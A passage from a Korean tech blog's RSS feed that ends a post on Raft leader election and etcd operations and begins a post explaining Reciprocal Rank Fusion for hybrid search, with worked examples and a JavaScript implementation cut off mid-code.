&lt;p&gt;Leader 장애와 새 Leader 선출 사이에는 쓰기를 합의할 Leader가 없습니다. etcd 공식 장애 문서도 선거 중에는 쓰기를 처리하지 못하고 새 Leader 선출까지 대기한다고 설명합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Leader failure
→ election timeout
→ voting
→ new Leader
→ queued writes resume&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;따라서 failover가 가능하다는 말은 무중단 쓰기를 의미하지 않습니다. Election Timeout을 너무 길게 잡으면 장애 복구가 느리고, 너무 짧게 잡으면 네트워크 지연이나 느린 디스크를 Leader 장애로 오판해 불필요한 선거가 늘어납니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;etcd 운영에서 볼 지표&lt;/h2&gt;
&lt;p&gt;etcd는 Kubernetes의 클러스터 상태를 보관하는 핵심 구성요소입니다. Leader Heartbeat가 늦는 원인이 네트워크만은 아닙니다. WAL fsync가 느리거나 CPU가 포화돼도 Heartbeat가 지연될 수 있습니다.&lt;/p&gt;
&lt;p&gt;운영에서는 다음을 함께 봅니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Leader 변경 횟수와 Term 증가&lt;/li&gt;
&lt;li&gt;peer 간 RTT&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;wal_fsync_duration_seconds&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;backend commit duration&lt;/li&gt;
&lt;li&gt;디스크 지연과 CPU throttling&lt;/li&gt;
&lt;li&gt;과반수에 필요한 멤버의 건강 상태&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;노드 수를 짝수에서 홀수로 늘린다고 항상 장애 허용 수가 증가하는 것도 아닙니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;right&quot;&gt;노드 수&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;과반수&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;허용 가능한 동시 장애&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;3&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;2&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;4&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;3&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;5&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;3&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;3대에서 4대로 늘리면 쓰기 과반수는 커지지만 장애 허용 수는 그대로입니다. 일반적으로 3대 또는 5대 구성이 많이 사용되는 이유입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Pre-Vote는 왜 필요할까&lt;/h2&gt;
&lt;p&gt;네트워크에서 고립된 노드가 계속 Election Timeout을 맞아 Term을 올리다가 복구되면 정상 Leader까지 높은 Term을 보고 Follower로 내려갈 수 있습니다. Pre-Vote는 실제 Term을 올리기 전에 자신이 선거에서 이길 가능성이 있는지 미리 확인합니다.&lt;/p&gt;
&lt;p&gt;etcd의 Raft 구현도 선택적 Pre-Vote 메시지를 제공해 재합류 노드가 불필요하게 클러스터를 흔드는 상황을 줄입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Heartbeat 중단
→ Follower의 무작위 Timeout 만료
→ Candidate 전환과 Term 증가
→ RequestVote
→ 과반수 획득
→ 새 Leader의 Heartbeat&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Raft 운영에서 중요한 것은 선거가 일어난다는 사실보다 &lt;strong&gt;왜 자주 일어나는지&lt;/strong&gt;입니다. 반복되는 Leader 변경은 네트워크, 디스크, CPU, 잘못된 timeout 설정의 신호일 수 있습니다.&lt;/p&gt;
&lt;h2&gt;자주 묻는 질문&lt;/h2&gt;
&lt;h3&gt;5개 노드 중 2개만 살아 있으면 Leader를 선출할 수 있나요?&lt;/h3&gt;
&lt;p&gt;아닙니다. 과반수인 3표가 필요합니다. 읽기 방식에 따라 일부 동작은 가능할 수 있지만 새로운 로그를 합의해 커밋할 수 없습니다.&lt;/p&gt;
&lt;h3&gt;가장 성능이 좋은 노드가 Leader가 되나요?&lt;/h3&gt;
&lt;p&gt;기본 Raft 선거는 성능 점수로 Leader를 고르지 않습니다. Election Timeout이 먼저 만료되고, 로그 최신성 조건을 통과해 과반수를 얻은 Candidate가 Leader가 됩니다.&lt;/p&gt;
&lt;h3&gt;Leader가 두 명 생길 수 있나요?&lt;/h3&gt;
&lt;p&gt;네트워크 분할 중 서로 다른 Term의 노드가 자신을 Leader라고 생각하는 순간은 있을 수 있지만, 같은 Term에서 두 후보가 각각 과반수를 얻을 수는 없습니다. 실제 커밋은 과반수 규칙으로 보호됩니다.&lt;/p&gt;
&lt;h3&gt;etcd의 &lt;code class=&quot;language-text&quot;&gt;elect&lt;/code&gt; 명령과 Raft Leader 선출은 같은 것인가요?&lt;/h3&gt;
&lt;p&gt;아닙니다. etcd 클러스터 내부의 Raft Leader 선출과, 애플리케이션이 etcd concurrency API로 수행하는 리더 선출은 계층이 다릅니다.&lt;/p&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://raft.github.io/raft.pdf&quot;&gt;Raft 원 논문 — In Search of an Understandable Consensus Algorithm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://raft.github.io/&quot;&gt;Raft 공식 사이트&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://etcd.io/docs/v3.7/faq/&quot;&gt;etcd FAQ — Leader와 Heartbeat&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://etcd.io/docs/v3.5/op-guide/failures/&quot;&gt;etcd Failure modes — Leader failure&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/k8s-understanding/&quot;&gt;Kubernetes 핵심 구조 이해&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[RRF란? 키워드 검색과 벡터 검색 결과를 합치는 방법]]></title><description><![CDATA[안녕하세요. 자바파크입니다.  영상에서는 BM25와 벡터 검색의 서로 다른 점수를 순위로 바꿔 합치는 과정을 1분 안에 시각화했습니다. 아래 글에서는 실제 계산과 Elasticsearch…]]></description><link>https://blog.javapark.kr/rrf-hybrid-search/</link><guid isPermaLink="false">https://blog.javapark.kr/rrf-hybrid-search/</guid><pubDate>Sat, 05 Sep 2026 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요. &lt;strong&gt;자바파크&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://youtube.com/shorts/pHHA7iN3i48&quot;&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 56.27906976744186%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACMUlEQVR42j2R2W/TQBCHLdHau+s7WTu7PnbjM3Z8pLncxjnaCtEqkIi2EuWBUgkEz0g88PfjCAnpe5iH+WZ+mhHOIVH1qNcvTDPXzUzR43PZFRVfUpmkckkbykZq9GtsLRyy8emNT69duiOkxfZSECHFVsX8lrO1519ZZILMAOpDUWGdCbRQ8RdaulXDle213H/ruBvH2xK6GthXgoicd/tPHz5+OT6+Hh6/Hh5en55/PH3+aXv1mcygmSik1pujku8sb03pJo7fz+oXTBbEXgmi7G0mL4f21+38+8P176frP2lyazq5ijNRDaCRqFZt8g32N8y7S/xDyPYR37t0O7AaQVJYVt3l5X01PU7mj8RfnmvhmRZKRgSMuEPtjV08DQZXS37f8H1GbxKyc+wW92cC0DiLZ340jbJFXDa6N4H2WKYVHBQQ58BM5V7O7Elizy799dJtx4NmNGhsPDfNSgAqN3q+iYeWG/lRBmmN3AvY4VxAUkG7AL0RNMeyWevuSreWRn9u9KeGUShaKkjqUOpCmqloFSK9QGyO+BING8QXyJt2PuhnZlnRWUnSEUmKsCy8rIB6CpWhIGkB0EOAR4hWiM1Q0MhJKydrFF6eBtFa7KXx9n73/G1xfI7ahpUJTrKTgrgg/bsNzk+B+VyOVvJo2/Ffhv0RxGNo1cAq3xjJmRaJnSlzgJgA9EixctWpoTPpuuXw8rQ5XqFg2cVGpOxkoAZAYbB7u8JPdAViAPl/ARxiVA5KIES1AAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/b1286734d31a94338390a250dfddd34c/a1b3b/thumbnail.webp 215w,
/static/b1286734d31a94338390a250dfddd34c/fc700/thumbnail.webp 430w,
/static/b1286734d31a94338390a250dfddd34c/521f7/thumbnail.webp 860w,
/static/b1286734d31a94338390a250dfddd34c/cbd37/thumbnail.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/b1286734d31a94338390a250dfddd34c/f7886/thumbnail.png 215w,
/static/b1286734d31a94338390a250dfddd34c/bc750/thumbnail.png 430w,
/static/b1286734d31a94338390a250dfddd34c/3e3fe/thumbnail.png 860w,
/static/b1286734d31a94338390a250dfddd34c/64756/thumbnail.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/b1286734d31a94338390a250dfddd34c/3e3fe/thumbnail.png&apos; alt=&apos;RRF 하이브리드 검색 1분 시각화&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;RRF 하이브리드 검색 1분 시각화&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;영상에서는 BM25와 벡터 검색의 서로 다른 점수를 순위로 바꿔 합치는 과정을 1분 안에 시각화했습니다. 아래 글에서는 실제 계산과 Elasticsearch 구현, 운영 튜닝 기준까지 이어서 설명합니다.&lt;/p&gt;
&lt;p&gt;하이브리드 검색은 보통 두 종류의 검색 결과를 함께 사용합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;키워드 검색&lt;/strong&gt;: BM25처럼 정확한 단어·구문 일치에 강합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;벡터 검색&lt;/strong&gt;: 표현이 달라도 의미가 비슷한 문서를 찾는 데 강합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;문제는 두 검색기가 서로 다른 점수를 반환한다는 것입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Keyword score: 12.7
Vector score:   0.83&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 숫자를 그대로 더하면 &lt;code class=&quot;language-text&quot;&gt;13.53&lt;/code&gt;이 됩니다. 계산은 가능하지만 의미 있는 비교는 아닙니다. BM25 점수와 코사인 유사도는 범위와 분포가 다르기 때문입니다. 숫자가 큰 검색기가 최종 순위를 지배할 수 있습니다.&lt;/p&gt;
&lt;p&gt;**RRF(Reciprocal Rank Fusion)**는 이 문제를 원점수 정규화 없이 해결하는 실용적인 방법입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;RRF는 서로 다른 검색 점수를 직접 비교하지 않습니다. 각 검색 결과의 &lt;strong&gt;순위&lt;/strong&gt;를 점수로 바꾸고, 문서별로 합산합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이번 글에서는 RRF 공식을 손으로 계산한 뒤 Elasticsearch의 &lt;code class=&quot;language-text&quot;&gt;rrf&lt;/code&gt; retriever로 구현하고, 운영에서 조정해야 하는 후보 창·지연시간·평가 지표까지 정리합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;왜 원점수를 그대로 더하면 안 될까&lt;/h2&gt;
&lt;p&gt;같은 질문을 키워드 검색과 벡터 검색에 보냈다고 가정해 보겠습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;right&quot;&gt;순위&lt;/th&gt;
&lt;th&gt;Keyword/BM25&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;점수&lt;/th&gt;
&lt;th&gt;Vector&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;점수&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;1&lt;/td&gt;
&lt;td&gt;A · JVM 튜닝 체크리스트&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;12.7&lt;/td&gt;
&lt;td&gt;B · JVM 메모리 누수 해결&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;0.83&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;2&lt;/td&gt;
&lt;td&gt;B · JVM 메모리 누수 해결&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;8.4&lt;/td&gt;
&lt;td&gt;D · GC 로그 진단&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;0.79&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;3&lt;/td&gt;
&lt;td&gt;C · Heap Dump 분석&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;5.1&lt;/td&gt;
&lt;td&gt;A · JVM 튜닝 체크리스트&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;0.72&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;BM25 점수는 질의·문서 길이·단어 빈도에 따라 달라집니다. 벡터 검색 점수는 사용하는 거리 함수와 변환 방식에 따라 범위가 달라집니다. 두 숫자는 같은 단위가 아닙니다.&lt;/p&gt;
&lt;p&gt;원점수를 결합하려면 보통 정규화와 가중치가 필요합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;final = 0.4 × normalized_bm25 + 0.6 × normalized_vector&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 방식은 검색별 영향력을 직접 통제할 수 있다는 장점이 있습니다. 하지만 정규화 방식과 가중치를 정하려면 평가 데이터가 필요합니다. 질의 유형이 바뀌면 최적값도 달라질 수 있습니다.&lt;/p&gt;
&lt;p&gt;RRF는 다른 선택을 합니다. 점수의 크기를 버리고 순위만 사용합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;RRF 공식&lt;/h2&gt;
&lt;p&gt;문서 &lt;code class=&quot;language-text&quot;&gt;d&lt;/code&gt;의 RRF 점수는 다음과 같습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;RRF(d) = Σ 1 / (k + rank_i(d))&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;rank_i(d)&lt;/code&gt;: i번째 검색 결과에서 문서 d의 순위, 1부터 시작&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;k&lt;/code&gt;: 상위 순위와 하위 순위 사이의 점수 차이를 완만하게 만드는 상수&lt;/li&gt;
&lt;li&gt;문서가 특정 검색 결과 후보 창에 없다면 그 목록의 기여도는 0&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Elastic의 최신 RRF retriever에서 &lt;code class=&quot;language-text&quot;&gt;rank_constant&lt;/code&gt; 기본값은 60입니다. 값이 커질수록 하위 순위 문서의 영향력이 상대적으로 커집니다.&lt;/p&gt;
&lt;p&gt;앞의 결과를 &lt;code class=&quot;language-text&quot;&gt;k=60&lt;/code&gt;으로 계산해 보겠습니다.&lt;/p&gt;
&lt;h3&gt;B 문서&lt;/h3&gt;
&lt;p&gt;B는 키워드 검색 2위, 벡터 검색 1위입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;B = 1/(60+2) + 1/(60+1)
  = 0.016129 + 0.016393
  = 0.032522&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;A 문서&lt;/h3&gt;
&lt;p&gt;A는 키워드 검색 1위, 벡터 검색 3위입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;A = 1/(60+1) + 1/(60+3)
  = 0.016393 + 0.015873
  = 0.032266&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;최종적으로 B가 A보다 근소하게 앞섭니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. B · 0.032522
2. A · 0.032266&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;B는 어느 한 검색에서 압도적인 원점수를 받은 문서가 아닙니다. 대신 두 검색 결과에서 모두 꾸준히 높은 순위를 받았습니다. 이것이 RRF가 하이브리드 검색에서 유용한 이유입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;RRF를 직접 구현해 보기&lt;/h2&gt;
&lt;p&gt;검색기에서 상위 후보 목록을 이미 받았다면 구현은 단순합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;reciprocalRankFusion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;resultLists&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; k &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;60&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; scores &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; results &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt; resultLists&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    results&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;forEach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;document&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; index&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; rank &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; index &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
      &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; previous &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; scores&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;??&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        document&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;score&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token literal-property property&quot;&gt;ranks&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

      previous&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;score &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;k &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; rank&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
      previous&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ranks&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;rank&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
      scores&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;id&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; previous&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;scores&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;score &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; a&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;score&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; keyword &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;JVM 튜닝 체크리스트&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;B&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;JVM 메모리 누수 해결&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;C&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Heap Dump 분석&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; vector &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;B&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;JVM 메모리 누수 해결&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
